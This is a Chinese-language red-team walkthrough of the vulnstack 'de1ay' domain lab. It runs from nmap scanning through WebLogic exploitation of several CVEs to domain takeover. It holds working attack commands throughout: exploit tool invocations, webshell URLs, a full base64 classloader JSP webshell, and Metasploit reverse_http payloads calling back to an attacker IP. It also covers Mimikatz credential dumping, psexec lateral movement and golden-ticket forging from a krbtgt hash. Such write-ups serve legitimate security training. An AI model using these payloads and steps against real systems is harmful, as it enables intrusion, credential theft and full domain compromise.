下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
主机名字 | IP |
---|---|
DC.de1ay.com | 10.10.10.10(内网) |
WEB.de1ay.com | 10.10.10.80(内网)/192.168.111.80(外网) |
PC.de1ay.com | 10.10.10.20(内网)/192.168.111.201(外网) |
攻击机kali | 192.168.1.129(外网) |
默认密码有:
使用管理员账号登录WEB.de1ay.com,然后在以下的路径中开启图中的三个服务,开启web服务。
然后需要关闭防火墙,我这里没有关闭的时候连ping都ping不通。
使用nmap扫描192.168.111.0网段
nmap -Pn 192.168.111.0/24
对上面收集到的信息进行集中
IP | 端口 |
---|---|
192.168.111.80 | 80、135、139、445、1433、3389、7001(weblogic)、49152、49153、49154 |
192.168.111.201 | 135、139、445、3389、49152、49153、49154、49155 |
发现80主机存在80端口和7001端口,然后先对80进行访问,发现是一个空页面
然后对7001端口进行访问,发现是一个404页面
对80、7001端口进行目录扫描,因为这两个都是有可能是web端口。经过扫描后发现80没有什么有价值的,然后7001端口存在console端口。
对console进行登录,发现是一个weblogic登录页面。
使用weblogicScanner扫描工具(该工具比WeblogicScan工具所能扫描到的漏洞更多)进行扫描
该扫描工具的下载地址:https://github.com/0xn0ne/weblogicScanner
python3 ./ws.py -t 192.168.111.80 -o ./end(输出的文件夹)
对输出的json文件放到JSON在线视图查看器进行查看,发现存在许多漏洞。
除了使用上面的weblogic工具外,还可以使用一款集合了weblogic的集成工具进行漏洞的探测。
下载地址:链接: https://pan.baidu.com/s/1Sm4c3pXjZP-_Rd5IfBbcCA?pwd=spg9 提取码: spg9 复制这段内容后打开百度网盘手机App,操作更方便哦
并且发现这里检测到的漏洞比上面扫描到的漏洞要少很多,只有一个CVE-2020-2551。
整理下上面得到的三个洞的信息。
漏洞编号 | 漏洞信息 |
---|---|
CVE-2014-4210 | SSRF漏洞 |
CVE-2017-3506 | weblogic wls-wsat组件远程命令执行 |
CVE-2017-10271 | weblogic wls组件远程命令执行漏洞 |
CVE-2018-3191 | weblogic远程代码执行漏洞 |
CVE-2018-3245 | weblogic反序列化远程代码执行漏洞 |
CVE-2019-2618 | weblogic任意文件上传漏洞 |
CVE-2019-2725 | weblogic反序列化远程命令执行漏洞 |
CVE-2019-2729 | weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似 |
CVE-2019-2888 | weblogic未受权XXE漏洞 |
CVE-2020-2551 | weblogic IIOP反序列化漏洞 |
CVE-2020-2883 | weblogic反序列化 |
CVE-2020-14882 | weblogic未授权命令执行漏洞 |
http://192.168.111.80:7001/uddiexplorer/
,发现无需登录就可以查看uddiexplorer网页,有可能存在该CVE-2014-4210漏洞。但是在实际使用burpsuit进行内网探测的时候,发现无论是存在的ip还是不存在的ip,他的返回结果都是一样的,无法判断内网中是否存在该ip,因此该漏洞无法利用。
我这里本来想要验证是否存在该SSRF漏洞的,可是无论我访问的是dnslog还是ceye,都无法访问,因此无法验证是否存在该漏洞。
http://192.168.111.80:7001/wls-wsat/CoordinatorPortType
,出现下图所示的页面说明可能存在该CVE-2017-3506漏洞java -jar WebLogic-XMLDecoder.jar -u http://192.168.111.80:7001
java -jar WebLogic-XMLDecoder.jar -s http://192.168.111.80:7001 /wls-wsat/CoordinatorPortType shell.jsp
http://192.168.111.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami
http://192.168.111.80:7001/wls-wsat/CoordinatorPortType
,如果出现如图所示的页面就说明有可能存在该CVE-2017-10271漏洞。(该漏洞是在CVE-2017-3506打了补丁后绕过的一种方式)search CVE-2017-10271
use 1
set target Windows
set lhost 192.168.111.128
set lport 1111
set rhosts 192.168.111.80
run
python2 ./cve-2019-2618.py http://192.168.111.80:7001 weblogic 1qaz@WSX
http://192.168.111.80:7001/bea_wls_internal/shell.jsp
,并且执行ipconfig命令,发现执行成功C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
,这里需要注意下,不同的webshell管理工具,他们的连接木马是不一样的。(PS:本人浪费了一个多小时才注意到。。。,还需要注意的是echo中出现左右尖括号的时候,需要在尖括号前面添加^符号来进行转义处理,否者就会出错)echo ^<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%^>
^<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%^> > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\cmd4.jsp
会用到的工具:
python3 xxer.py -p 8989(端口) -H 192.168.111.128(xxer所在的ip地址)
python2 weblogic.py 192.168.111.80(weblogic的ip地址) 7001(weblogic的端口)
python3 CVE-2020-14882_ALL.py -u http://192.168.111.80:7001 -c "whoami"
在这十二个漏洞中,能直接拿下webshell的有CVE-2017-3506、CVE-2017-10271、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729有这五个漏洞。下面就不演示如何webshell了,考虑到在实战中是没有上帝视角的,因此只考虑 CVE-2017-10271 ,而不考虑和第六个洞:CVE-2019-2618 类似的需要web目录的的情况。
在拿到webshell后,第一步要查看进程列表,要将MSF的进程注入到explorer.exe中,因为该进程一般不会被关闭。
使用migrate命令注入到explorer.exe进程中
创建CS监听器,具体的配置如图所示
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 9999
set session 1
run
注入下进程,防止被杀掉
inject 2240(注入的进程号) x64 msf-cs(监听器名字)
首先CS要生成一个外部的监听器(Foreign HTTP/HTTPS)
MSF使用和刚生成监听器一样的监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http或者是set payload windows/meterpreter/reverse_https
set lhost 192.168.111.128
set lport 9876
然后在CS中新建会话,选择刚生成的监听器
回到MSF中查看,发现联动成功
我这里使用梼杌插件查看,发现存在一个360和另外两个杀软。
首先是收集有多少个网段,这里发现有两个,一个是10.10.10.80,还有一个是192.168.111.80。
收集存在的域
shell net view /domain
查看域管理员
shell net group "domain admins" /domain
查看主域控制器
shell netdom query pdc
查看域控
shell net group "Domain Controllers" /domain
查看SID
shell whoami /all
查看当前登录的域
shell net config workstation
还可以使用梼杌插件进行一键获取所有的信息
使用梼杌插件中的查看所有用户的sid,具体操作是梼杌->信息收集->查看mstsc记录->查看所有用户的记录
使用梼杌中的Mimikatz获取明文密码
在CS中选择文件浏览,选择把nbtscan工具上传到靶机中,然后就可以在web机器中运行nbtscan工具了。
shell C:\Windows\system32\nbtscan.exe 10.10.10.1/24
使用MSF挂socks代理,进行内网的端口扫描
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run
vi /etc/proxychains.conf
#socks 127.0.0.1 9050
socks5 127.0.0.1 1080
使用nmap扫描,但是发现扫描的结果并不符合实际情况,他这里的扫描结果没有一个是开放的,这不符合实际情况。
使用CS自带的扫描,具体的的操作是:视图->目标列表->目标列表中的主机右击选择扫描,选择所得到的会话,然后点击运行
这里列举下其中的DC端口扫描的结果,查看具体的结果是右击选择服务,其余两台主机的操作一样
使用psexec进行横向移动,横向移动的前提是需要获取到NTLM值,然后点击视图->目标列表->DC右键->横向移动->psexec->选择其中的一个user、password、DE1AY,随便选择一个监听器和会话。
拿下域控DC了
同样的流程,我们可以如法炮制拿下PC机
黄金票据需要域成员名、域成员密码、域控地址(10.10.10.10)、域sid、krbtgt哈希值,其中krbtgt哈希值是要拿到域控之后在域控里面才能拿到的,因此黄金票据是只能在拿到域控之后的权限维持操作。
首先在域控里面运行hashdump命令获取krbtgt的哈希值
在DC右键生成黄金票据,输入所需要的数据。
生成黄金票据成功